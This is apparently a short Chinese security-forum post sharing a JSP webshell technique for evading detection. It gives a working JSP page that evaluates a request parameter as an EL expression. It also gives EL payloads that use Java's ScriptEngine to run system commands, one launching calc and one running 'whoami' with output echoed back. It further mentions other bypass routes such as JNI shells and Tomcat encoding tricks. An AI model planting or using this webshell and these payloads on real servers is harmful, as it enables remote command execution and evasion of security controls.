翻自己以前写过的东西,在土司翻到了以前提到过的这个问题,这个问题之前查看别的师傅写的文章,很早就有了相关的解决方法,但是一直没回复这种的解决思路。
这里分享下,主要分享el表达式加scriptengine的思路,也当作水篇文章吧。
el表达式的shell
<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
String res = (String)
PageContextImpl.proprietaryEvaluate(request.getParameter("test"),
String.class, pageContext, null);
out.print(res);
%>
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}
回显payload:
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var+s=[3];s[0]=\"cmd\";s[1]=\"/c\";s[2]=\"whoami\";var+p=java.lang.Runtime.getRuntime().exec(s);var+sc=new+java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");var+result=sc.hasNext()?sc.next():\"\";sc.close();result;")}
当然啦远程webshell和jni马的思路也是可以绕过的,也不一定要用这个思路
甚至于还可以利用补天大会老面提到的一个点,tomcat的编码特性来进行绕过。
如编码特性图:webshell内容为
执行:
好好学习,好好锻炼,好好生活,兔年冲啊。